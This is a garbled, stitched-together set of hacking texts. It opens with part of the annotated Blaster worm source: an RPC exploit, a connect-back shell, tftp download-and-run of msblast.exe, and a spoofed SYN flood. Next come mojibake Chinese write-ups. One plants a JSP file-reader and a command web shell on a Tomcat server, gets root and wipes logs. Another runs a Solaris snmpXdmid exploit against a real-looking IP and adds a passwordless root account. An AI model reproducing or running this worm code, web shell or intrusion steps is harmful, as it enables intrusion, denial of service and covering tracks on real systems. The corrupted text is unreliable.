,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
int ThreadId;
int len;
int sizeof_sa;
int ret;
int opt;
void *hThread;
struct sockaddr_in target_ip;
struct sockaddr_in sa;
int fd;
char cmdstr[0x200];
int len1;
unsigned char buf2[0x1000];
int i;
/*
* Turn off non-blocking (i.e. re-enable blocking mode)
* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
* will slow down the spread of this worm. It takes a long
* time for blocking calls to timeout. I had several
* thousand worms halted by my 'deredoc' tarpit.
*/
opt = 0;
ioctlsocket(sock, FIONBIO , &opt);
/*
* Choose whether the exploit targets Win2k or WinXP.
*/
if (winxp1_or_win2k2 == 1)
ret = 0x100139d;
else
ret = 0x18759f;
memcpy(sc+36, (unsigned char *) &ret, 4);
/* ----------------------------------------------
* This section is just copied from the original exploit
* script. This is the same as the scripts that have been
* widely published on the Internet. */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
//perror("- Send");
return;
}
if (send(sock,buf2,len1,0)== -1)
{
//perror("- Send");
return;
}
closesocket(sock);
Sleep(400);
/* ----------------------------------------------*/
/*
* This section of code connects to the victim on port 4444.
* DEFENSE : This means you can block this worm by blocking
* TCP port 4444.
* FAQ: This port is only open for the brief instant needed
* to exploit the victim. Therefore, you can't scan for
* port 4444 in order to find Blaster victims.
*/
if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
return;
memset(&target_ip, 0, sizeof(target_ip));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(SHELL_PORT_4444);
target_ip.sin_addr.s_addr = inet_addr(victim_ip);
if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
return;
if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)
return;
/*
* This section recreates the IP address from whatever IP
* address this successfully connected to. In practice,
* the strings "victim_ip" and "target_ip_string" should be
* the same.
*/
memset(target_ip_string, 0, sizeof(target_ip_string));
sizeof_sa = sizeof(sa);
getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
sprintf(target_ip_string, "%d.%d.%d.%d",
sa.sin_addr.s_net, sa.sin_addr.s_host,
sa.sin_addr.s_lh, sa.sin_addr.s_impno);
/*
* This section creates a temporary TFTP service that is
* ONLY alive during the period of time that the victim
* needs to download.
* FAQ: You can't scan for TFTP in order to find Blaster
* victims because the port is rarely open.
*/
if (fd_tftp_service)
closesocket(fd_tftp_service);
hThread = CreateThread(0,0,
blaster_tftp_thread,0,0,&ThreadId);
Sleep(80); /*give time for thread to start*/
/*
* This sends the command
* tftp -i 1.2.3.4 GET msblast.exe
* to the victim. The "tftp.exe" program is built into
* Windows. It's intended purpose is to allow users to
* manually update their home wireless access points with
* new software (and other similar tasks). However, it is
* not intended as a generic file-transfer protocol (it
* stands for "trivial-file-transfer-protocol" -- it is
* intended for only trivial tasks). Since a lot of hacker
* exploits use the "tftp.exe" program, a good hardening
* step is to remove/rename it.
*/
sprintf(cmdstr, "tftp -i %s GET %s\n",
target_ip_string, MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;
/*
* Wait 21 seconds for the victim to request the file, then
* for the file to be delivered via TFTP.
*/
Sleep(1000);
for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);
/*
* Assume the the transfer is successful, and send the
* command to start executing the newly downloaded program.
* BUFORD: The hacker starts this twice. Again, it
* demonstrates a lock of confidence, so he makes sure it's
* started by doing it twice in slightly different ways.
* Note that the "BILLY" mutex will prevent from actually
* running twice.
*/
sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;
Sleep(2000);
sprintf(cmdstr, "%s\n", MSBLAST_EXE);
send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000);
/*
* This section closes the things started in this procedure
*/
closesocket_and_return:
/* Close the socket for the remote command-prompt that has
* been established to the victim. */
if (fd != 0)
closesocket(fd);
/* Close the TFTP server that was launched above. As noted,
* this means that the TFTP service is not running most of
* the time, so it's not easy to scan for infected systems.
*/
if (is_tftp_running) {
TerminateThread(hThread,0);
closesocket(fd_tftp_service);
is_tftp_running = 0;
}
CloseHandle(hThread);
}
/**
* Convert the name into an IP address. If the IP address
* is formatted in decimal-dot-notation (e.g. 192.2.0.43),
* then return that IP address, otherwise do a DNS lookup
* on the address. Note that in the case of the worm,
* it always gives the string "windowsupdate.com" to this
* function, and since Microsoft turned off that name,
* the DNS lookup will usually fail, so this function
* generally returns -1 (SOCKET_ERROR), which means the
* address 255.255.255.255.
*/
int blaster_resolve_ip(const char *windowsupdate_com)
{
int result;
result = inet_addr(windowsupdate_com);
if (result == SOCKET_ERROR) {
HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
if (p_hostent == NULL)
result = SOCKET_ERROR;
else
result = *p_hostent->h_addr;
}
return result;
}
/*
* This thre
*/
ULONG WINAPI blaster_DoS_thread(LPVOID p)
{
int opt = 1;
int fd;
int target_ip;
/* Lookup the domain-name. Note that no checking is done
* to ensure that the name is valid. Since Microsoft turned
* this off in their domain-name servers, this function now
* returns -1. */
target_ip = blaster_resolve_ip("windowsupdate.com");
/* Create a socket that the worm will blast packets at
* Microsoft from. This is what is known as a "raw" socket.
* So-called "raw-sockets" are ones where packets are
* custom-built by the programmer rather than by the TCP/IP
* stack. Note that raw-sockets were not available in Windows
* until Win2k. A cybersecurity pundit called Microsoft
* "irresponsible" for adding them.
* <http://grc.com/dos/sockettome.htm>
* That's probably an
* unfairly harsh judgement (such sockets are available in
* every other OS), but it's true that it puts the power of
* SYNflood attacks in the hands of lame worm writers. While
* the worm-writer would probably have chosen a different
* DoS, such as Slammer-style UDP floods, it's likely that
* Buford wouldn't have been able to create a SYNflood if
* raw-sockets had not been added to Win2k/WinXP. */
fd = WSASocket(
AF_INET, /*TCP/IP sockets*/
SOCK_RAW, /*Custom TCP/IP headers*/
IPPROTO_RAW,
NULL,
0,
WSA_FLAG_OVERLAPPED
);
if (fd == SOCKET_ERROR)
return 0;
/* Tell the raw-socket that IP headers will be created by the
* programmer rather than the stack. Most raw sockets in
* Windows will also have this option set. */
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
return 0;
/* Now do the SYN flood. The worm writer decided to flood
* slowly by putting a 20-millisecond delay between packets
* -- causing only 500 packets/second, or roughly, 200-kbps.
* There are a couple of reasons why the hacker may have
* chosen this.
* 1. SYNfloods are not intended to be bandwidth floods,
* even slow rates are hard to deal with.
* 2. Slammer DoSed both the sender and receiver, therefore
* senders hunted down infected systems and removed
* them. This won't DoS the sender, so people are more
* likely not to care about a few infected machines.
*/
for (;;) {
blaster_send_syn_packet(target_ip, fd);
/* Q: How fast does it send the SYNflood?
* A: About 50 packets/second, where each packet is
* 320-bits in size, for a total of 15-kbps.
* It means that Buford probably intended for
* dialup users to be a big source of the DoS
* attack. He was smart enough to realize that
* faster floods would lead to users discovering
* the worm and turning it off. */
Sleep(20);
}
closesocket(fd);
return 0;
}
/*
* This is a standard TCP/IP checksum algorithm
* that you find all over the web.
*/
int blaster_checksum(const void *bufv, int length)
{
const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;
while (length > 1) {
result += *(buf++);
length -= sizeof(*buf);
}
if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & 0xFFFF);
result += (result >> 16);
result = (~result)&0xFFFF;
return (int)result;
}
/*
* This is a function that uses "raw-sockets" in order to send
* a SYNflood at the victim, which is "windowsupdate.com" in
* the case of the Blaster worm.
*/
void blaster_send_syn_packet(int target_ip, int fd)
{
struct IPHDR
{
unsigned char verlen; /*IP version & length */
unsigned char tos; /*IP type of service*/
unsigned short totallength;/*Total length*/
unsigned short id; /*Unique identifier */
unsigned short offset; /*Fragment offset field*/
unsigned char ttl; /*Time to live*/
unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/
unsigned short checksum; /*IP checksum*/
unsigned int srcaddr; /*Source address*/
unsigned int dstaddr; /*Destination address*/
};
struct TCPHDR
{
unsigned short srcport;
unsigned short dstport;
unsigned int seqno;
unsigned int ackno;
unsigned char offset;
unsigned char flags;
unsigned short window;
unsigned short checksum;
unsigned short urgptr;
};
struct PSEUDO
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
};
struct PSEUDOTCP
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
struct TCPHDR tcphdr;
};
char spoofed_src_ip[16];
unsigned short target_port = 80; /*SYNflood web servers*/
struct sockaddr_in to;
struct PSEUDO pseudo;
char buf[60] = {0};
struct TCPHDR tcp;
struct IPHDR ip;
int source_ip;
/* Yet another randomizer-seeding */
srand(GetTickCount());
/* Generate a spoofed source address that is local to the
* current Class B subnet. This is pretty smart of Buford.
* Using just a single IP address allows defenders to turn
* it off on the firewall, whereas choosing a completely
* random IP address would get blocked by egress filters
* (because the source IP would not be in the proper range).
* Randomly choosing nearby IP addresses it probably the
* best way to evade defenses */
sprintf(spoofed_src_ip, "%i.%i.%i.%i",
local_class_a, local_class_b, rand()%255, rand()%255);
source_ip = blaster_resolve_ip(spoofed_src_ip);
/* Build the sockaddr_in structure. Normally, this is what
* the underlying TCP/IP stack uses to build the headers
* from. However, since the DoS attack creates its own
* headers, this step is largely redundent. */
to.sin_family = AF_INET;
to.sin_port = htons(target_port); /*this makes no sense */
to.sin_addr.s_addr = target_ip;
/* Create the IP header */
ip.verlen = 0x45;
ip.totallength = htons(sizeof(ip) + sizeof(tcp));
ip.id = 1;
ip.offset = 0;
ip.ttl = 128;
ip.protocol = IPPROTO_TCP;
ip.checksum = 0; /*for now, set to true value below */
ip.dstaddr = target_ip;
/* Create the TCP header */
tcp.dstport = htons(target_port);
tcp.ackno = 0;
tcp.offset = (unsigned char)(sizeof(tcp)<<4);
tcp.flags = 2; /*TCP_SYN*/
tcp.window = htons(0x4000);
tcp.urgptr = 0;
tcp.checksum = 0; /*for now, set to true value below */
/* Create pseudo header (which copies portions of the IP
* header for TCP checksum calculation).*/
pseudo.dstaddr = ip.dstaddr;
pseudo.padzero = 0;
pseudo.protocol = IPPROTO_TCP;
pseudo.tcplength = htons(sizeof(tcp));
/* Use the source adress chosen above that is close, but
* not the same, as the spreader's IP address */
ip.srcaddr = source_ip;
/* Choose a random source port in the range [1000-19999].*/
tcp.srcport = htons((unsigned short)((rand()%1000)+1000));
/* Choose a random sequence number to start the connection.
* BUG: Buford meant htonl(), not htons(), which means seqno
* will be 15-bits, not 32-bits, i.e. in the range
* [0-32767]. (the Windows rand() function only returns
* 15-bits). */
tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));
pseudo.srcaddr = source_ip;
/* Calculate TCP checksum */
memcpy(buf, &pseudo, sizeof(pseudo));
memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));
tcp.checksum = blaster_checksum(buf,
sizeof(pseudo)+sizeof(tcp));
memcpy(buf, &ip, sizeof(ip));
memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));
/* I have no idea what's going on here. The assembly code
* zeroes out a bit of memory near the buffer. I don't know
* if it is trying to zero out a real variable that happens
* to be at the end of the buffer, or if it is trying to zero
* out part of the buffer itself. */
memset(buf+sizeof(ip)+sizeof(tcp), 0,
sizeof(buf)-sizeof(ip)-sizeof(tcp));
/* Major bug here: the worm writer incorrectly calculates the
* IP checksum over the entire packet. This is incorrect --
* the IP checksum is just for the IP header itself, not for
* the TCP header or data. However, Windows fixes the checksum
* anyway, so the bug doesn't appear in the actual packets
* themselves.
*/
ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));
/* Copy the header over again. The reason for this is simply to
* copy over the checksum that was just calculated above, but
* it's easier doing this for the programmer rather than
* figuring out the exact offset where the checksum is
* located */
memcpy(buf, &ip, sizeof(ip));
/* Send the packet */
sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,
(struct sockaddr*)&to, sizeof(to));
}
]]>
鏂囩珷涓昏浠ユ暀鑲蹭負鐩殑錛屽笇鏈涘悇浣嶈鑰呬笉瑕佷嬌鐢ㄦ湰鏂囦腑鐨勪竴浜涙柟娉曞強紼嬪簭錛屽嵄瀹崇綉緇滅殑瀹夊叏銆?
浣滆咃細lovehacker
鑱旂郴鏂瑰紡錛?a href="mailto:lovehacker@263.net">lovehacker@263.net
緗戠珯鍦板潃錛?http://www.chinansl.com
鐗堟潈灞炲畨鐩熶俊鎭鎶鏈夐檺璐ｄ換鍏徃鎵鏈夛紝鍏佽杞澆錛屼絾闇淇濇寔鏂囩珷鐨勫畬鏁存с?
寰堝伓鐒剁殑涓涓満浼氾紝鐪嬪埌浜嗕竴涓綉绔欙紝欏甸潰娓呮柊錛屽緢鑸掓湇鐨勬劅瑙夈傜綉绔欐槸鐢↗SP寮鍙戠殑錛岀敱浜庝釜浜虹埍濂斤紝鎵浠ユ垜鍐沖畾鐪嬬湅緋葷粺鐨勫畨鍏ㄦс?
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
榪斿洖鐨勭粨鏋滃涓嬶細
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
鎴戣幏寰椾簡榪愯鐨刉EBServer鐨勫悕縐?Tomcat 3.1"銆傛垜璁板緱鎴戞浘緇忓彂鐜拌繃榪欎釜鐗堟湰鐨勬紡媧烇紝騫朵笖post鍒癰ugtrap涓婂幓榪囥?
澶ф鏄細閫氳繃".."鎶鏈彲浠ラ鍑篧EB鐩綍錛屼簬鏄細
http://target:8080/../../../../%00.jsp 錛堜笉琛岋級
http://target:8080/file/index.jsp 錛堜笉琛岋級
http://target:8080/index.JSP 錛堜笉琛岋級
http://target:8080/index.JSP %81 錛堜笉琛岋級
http://target:8080/index.js%70 錛堜笉琛岋級
http://target:8080/index.JSP %2581 錛堜笉琛岋級
http://target:8080/WEB-INF/ 錛堜笉琛岋級
鍡紝鍦ㄨ瘯璇曞惂錛乀omcat 3.1鑷甫浜嗕竴涓鐞嗗伐鍏鳳紝鍙互鏌ョ湅WEB涓嬬殑鐩綍鍙婃枃浠訛紝騫朵笖鍙互娣誨姞context.璇曚竴涓嬶細 http://target:8080/admin/
綆＄悊鍛樻灉鐒舵病鏈夊垹闄ゆ垨紱佹璁塊棶榪欎釜鐩綍錛?錛堝け璇紒錛侊紒錛侊紒
鎺ョ潃鎴戠偣"VIEW ALL CONTEXT"鎸夐挳錛屽垪鍑轟簡WEB鐩綍涓嬬殑涓浜涙枃浠跺拰鐩綍鐨勫悕縐幫紝鎴戝紑濮嬩粩緇嗙殑鐪嬩簡璧鋒潵錛屼竴灝忎細鍎匡紝鍙戠幇浜嗕竴涓笂浼犳枃浠剁殑緇勪歡錛屽樋鍢匡紝鍐欎竴涓猨sp鏂囦歡寮勪笂鍘葷湅鐪嬨?
鍑犲彛鍜栧暋鐨勬椂闂達紝鎴戝啓浜嗚繖涔堜竴涓笢涓滃嚭鏉ワ細
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
閫氳繃涓婁紶鐨勭粍浠跺皢榪欎釜jsp涓婁紶鍒板鏂圭殑WEB鐩綍閲岋紝鐒跺悗錛?
http://target:8080/upload/test.jsp?file=/etc/passwd
鍢垮樋錛屽瘑鐮佸嚭鏉ュ暒銆傛垜鍙湅浜?/etc/passwd"錛屽茍娌℃湁鐪?/etc/shadow"錛屽洜涓哄綋鏃惰冭檻webserver涓鑸嬌鐢╪obody鐨勮韓浠藉惎鍔ㄧ殑錛岀湅浜嗕篃鐧界湅銆傦紙澶辮錛?
鎺ヤ笅鏉ョ殑榪囩▼鏄棤鑱婄殑鐚滄祴瀵嗙爜錛屾病鏈夋垚鍔熴傜畻浜嗭紝閭ｆ垜鍙湁灝嗗氨鐐癸紝鍙嶆鐜板湪鎴戠浉褰撲簬鏈変簡涓涓猻hell浜嗗槢錛岀寽涓嶅嚭瀵嗙爜涓婂幓錛岄偅灝卞叏褰揑E鏄垜鐨凷HELL鐜鍚э紒
鍐嶅啓錛?
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
鐒跺悗鎶婅繖涓猨sp鍙堥氳繃upload涓婁紶浜嗕笂鍘伙紝鍢垮樋錛屾垜鐜板湪鏈変釜SHELL浜嗐?
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
錛堟垜榪欓噷灝變笉鍒楀嚭鏉ヤ簡錛?
鎬庝箞鑾峰緱root鍛紵緇忚繃涓鐣悳绱㈡垜鍙戠幇浜嗙郴緇熷畨瑁呬簡mysql騫朵笖鎴戜粠jsp鐨勬簮浠ｇ爜涓緱鍒頒簡mysql鐨勫瘑鐮侊細錛夌湅鐪嬫槸浠涔堟潈闄愯繍琛岀殑mysql錛?
http://target:8080/upload/cmd.jsp?cmd=ps+aux +|grep+mysqld
鏄劇ず錛?
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
鍢垮樋錛屾湁鍔炴硶浜嗭紝緋葷粺鏄互root韜喚榪愯鐨刴ysql錛屽悓鏃舵垜鐭ラ亾浜唌ysql鐨勫瘑鐮侊紝閭ｆ垜鐜板湪鎴戝彲浠ュ啓涓涓猻hell紼嬪簭錛岃瀹僣reate涓涓〃錛岀劧鍚庡皢鎴戠殑鏁版嵁鏀懼埌琛ㄤ腑錛岀劧鍚庡啀浣跨敤"select ... into outfile;"鐨勫姙娉曞湪緋葷粺涓婂垱寤轟竴涓枃浠訛紝璁╃敤鎴峰湪鎵цsu鐨勬椂鍊欙紝榪愯鎴戠殑紼嬪簭銆傦紙榪樿寰梐pache.org鏈変竴嬈¤鍏ヤ鏡鍚楋紵hacker灝遍噰鐢ㄧ殑榪欑鍔炴硶錛夈?
鐒跺悗錛屾垜鍐嶄笂浼燽indshell涔嬬被鐨勭▼搴忥紝榪愯銆佽幏寰梟obody鐨勬潈闄愶紝鐒跺悗......鍐嶄嬌鐢╯u root鏃跺府蹇欏垱寤虹殑setuid shell璁╄嚜宸辨垚涓簉oot.
鍢垮樋錛岀湡鏄ソ鍔炴硶錛屾垜閮戒負鎴戠殑鎯蟲硶鎰熷埌寰楁剰......
鎺ヤ笅鍘葷殑浜嬫儏錛屽樊鐐規病璁╂垜鍚愯錛?
鎴戞暡浜嗕竴涓? http://target:8080/upload/cmd.jsp?cmd=id
鏄劇ず錛?
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,鎴戠殑榪欎釜WEB SHELL鏈潵灝辨槸ROOT錛岀湡鏄湇浜嗛偅涓鐞嗗憳錛屼篃鏈嶄簡鑷繁銆傜珶鐒舵姌鑵句簡榪欎箞鍗婂ぉ錛屽搸錛?
http://target:8080/upload/cmd.jsp?cmd=ps+aux
鏋滅劧鏄痳oot韜喚榪愯鐨勶紙涓嶅垪鍑烘潵浜嗭級
鍓╀笅鏉ョ殑浜嬫儏錛?
1銆佸垹闄ゆ垜鐨則elnet璁板綍銆?
2銆佸垹闄ttp鐨勬棩蹇椼?
鑷充簬娓呴櫎鏃ュ織鍢涳紝鎴戜嬌鐢ㄧ殑鍔炴硶鏄細cat xxx |grep -V "IP" >>temp鐒跺悗鍦ㄦ妸temp瑕嗙洊閭ｄ簺琚垜淇敼榪囩殑鏃ュ織鏂囦歡銆?
鎴戞病鏈夋洿鎹粬鐨勯〉闈紝鍥犱負鎴戞湰韜篃灝變笉鏄粈涔堥粦瀹㈠暒錛屾洿涓嶆槸綰㈠錛屽彧鏄釜緗戠粶瀹夊叏鐖卞ソ鑰呰屽凡銆傛墍浠ワ紝鍙戝皝閭歡鍛婅瘔system admin鍚э紒
褰撶劧錛屾垜欏轟究鍦ㄤ俊涓彁鍒幫紝濡傛灉闇瑕佸畨鐩熶俊鎭鎶涓轟粬鎻愪緵瀹夊叏鏈嶅姟鐨勮瘽錛屾垜浠細闈炲父鐨勯珮鍏?
]]>
1錛氬父瑙乁NIX鐗堟湰錛?
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
2:綆鍗曚粙緇嶅嚑涓?
sunos&solaris SUN鏈潵鎯崇敤solaris鍙栦唬sunos錛屼笉榪囧湪鐢ㄦ埛鐨勮姹備笅錛屽埌鐩墠涓烘錛岃繕鏄淮鎸佷袱鑰呭茍瀛樼殑鏀跨瓥錛?
Freebsd鏄憲鍚嶇殑BSD-UNIX鐨勪竴鐨勭戶鎵胯咃紝鏄疷NIX浼楀鍒嗘敮涓浉褰撶ǔ瀹氱殑涓涓紝寰堝ISP鍧囦嬌鐢ㄨ繍琛孎reebsd錛?
Linux鏄竴涓潰瀵筆C鏈轟釜浜虹敤鎴風殑鑷敱寤変環鐨刄NIX浜у搧錛堝叾紜歡騫沖彴鏄疘ntel緋誨垪鐨凜PU錛夛紝瀹為檯涓婁紬澶氱殑緗戠粶綆＄悊鍛樼湡姝ｄ嬌鐢ㄧ殑鏄疞inux銆?
3錛歎NIX鎿嶄綔緋葷粺鐨勭壒鐐?
錛?錛夊鐢ㄦ埛鍜屽浠誨姟錛涳紙2錛夊彲縐繪鎬э紱錛?錛夋爲琛岀粨鏋勭殑鏂囦歡緋葷粺錛涳紙4錛塈/O閲嶅畾鍚戞妧鏈拰綆￠亾鎶鏈紱錛?錛変赴瀵岀殑瀹炵敤紼嬪簭錛涳紙6錛夋瘡涓敤鎴烽兘鏈夌數瀛愰偖浠躲?
4錛氬挨涓虹獊鍑虹殑浼樼偣
錛?錛夌ǔ瀹氬彲闈犳ч珮錛涳紙2錛夌綉緇滃姛鑳藉己錛涳紙3錛夊紑鍙戞уソ錛涳紙4錛夊己澶х殑鏁版嵁搴撴敮鎸佸姛鑳斤紱錛?錛変幾緙╂у己銆?
浜岋細鍏ヤ鏡鐩殑
1錛氬涔燯NIX錛岀啛鎮夊唴閮ㄦ搷浣滐紝鏁翠綋閰嶇疆...
2錛氬仛璺蟲澘鎴栦互姝ゆ崟鎹夋洿澶歎NIX鑲夐浮錛?
3錛氳秺鏉冨緱鍒版煇浜涙甯歌姹備笅寰椾笉鍒扮殑涓滆タ錛?
4錛氭敾鍑葷牬鍧忔垨浠ユ浣滀負鍒╁櫒鏉ョ牬鍧忓叾浠栫郴緇燂紱
5錛氭洿澶?.....
涓夛細鍏ヤ鏡鏂規硶
1錛氬鎵劇洰鏍?
宸ュ叿錛歴upperscan錛屾祦鍏夛紝LANguard Network Scanner 2.0鎴栬呭叾浠栵紝鍑釜浜哄枩濂介夌敤
supperscan錛氭壂鎻?3錛?9绔彛錛屾敞鎰忓惈%錛?錛?amp;...涓繪満錛岃繖浜涘氨鏄疷NIX錛?
LANguard..浣滅畝鍗曡緗紝鍗沖彲寮濮嬶紝鍒ゆ柇瀵規柟鎿嶄綔緋葷粺鍔熻兘涔冨悓綾昏蔣浠朵腑鐨勭簿鍝侊紝鐩磋鍑嗙‘錛?
嫻佸厜錛氬埄鐢ㄩ珮綰ф壂鎻忥紝閫塼elnet錛孭RC錛孭OP3錛孎TP錛孎inger鍗沖彲銆?
鍏朵粬鏂規硶涓鏍?..
錛堣鏄庯細寰堝綆＄悊鍛樹負浜嗚糠鎯戝叆渚佃呭線寰鏁呮剰鏇存敼telnet鐧婚檰鏃跺嚭鐜扮殑淇℃伅錛岃娉ㄦ剰璇嗗埆錛?
2錛氬紑濮嬪叆渚?
錛?錛夋孩鍑猴紙鎵鏈夊叧浜嶶NIX鐨勬孩鍑猴紝閮介渶瑕佸湪涓涓猆NIX錛廘inux鐨勭幆澧冧笅榪涜緙栬瘧錛?
A錛氳繙紼嬫孩鍑?
婧㈠嚭錛熷懙鍛碉紝澶浜嗭紒闅忎究璇村嚑涓細freebsd榪滅▼婧㈠嚭錛宐ind 榪滅▼婧㈠嚭錛孲un Solaris 5.7/5.8 Sparc榪滅▼婧㈠嚭錛宺edhat6.xrpc status榪滅▼婧㈠嚭...鑷繁鍘諱竴涓浜嗚В鍚э紝鍦ㄨ繖閲屾垜綆鍗曡涓や釜渚嬪瓙錛?
a1錛氳冭檻鍒板緢澶氭湅鍙嬩嬌鐢╳indows錛屾墍浠ュぇ瀹跺彲浠ュ弬鐪嬫垜鐨勫厔寮?--钃濋獞澹殑澶т綔銆奻reebsd婧㈠嚭瀹屽叏鍥炬枃鐗堛嬶紙鍦板潃錛?a target=_blank>http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=錛夛紝鍥犱負榪欎釜婧㈠嚭紼嬪簭鏈夊凡緇忕紪璇戝ソ浜嗗彲浠ョ洿鎺ュ湪windows涓嬩嬌鐢紱
a2:Sun Solaris 5.7 Sparc榪滅▼婧㈠嚭
鎼滅儲...緇堜簬璁╂垜鎵懼埌浜嗕竴鍙皊unos 5.7錛屼笂鎴戜竴鍙皊unos 5.8
telnet 66.*.146.48 ----->>榪欐槸鎴戠殑錛?
SunOS 5.8
login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>褰撴椂婧㈠嚭鏃跺仛鐨勫鐞嗭紒
# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c
....... ----->>澶暱浜嗭紝鐪佺暐...鑷繁鍘繪壘錛?
# gcc -o snmp snmp.c ----->>鐢╣cc緙栬瘧
snmp.c: In function `main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->寮濮嬫孩鍑猴紒錛?
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>鏄痳oot鍝︼紒
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>鍔犱釜鐢ㄦ埛鍏堬紒
echo "ply::::::::" >> /etc/shadow
... ----->>榪樻兂騫蹭粈涔堝氨緇х畫鍚э紒
B錛氭湰鍦版孩鍑?
鏈湴婧㈠嚭闇瑕佷竴涓叿鏈塖hell鏉冮檺鐨勫笎鍙鳳紝榪欎釜甯愬彿鍙互閫氳繃pop3鎴杅tp寮卞瘑鐮佸緱鍒幫紝鐓ф牱涓句釜渚嬪瓙錛?
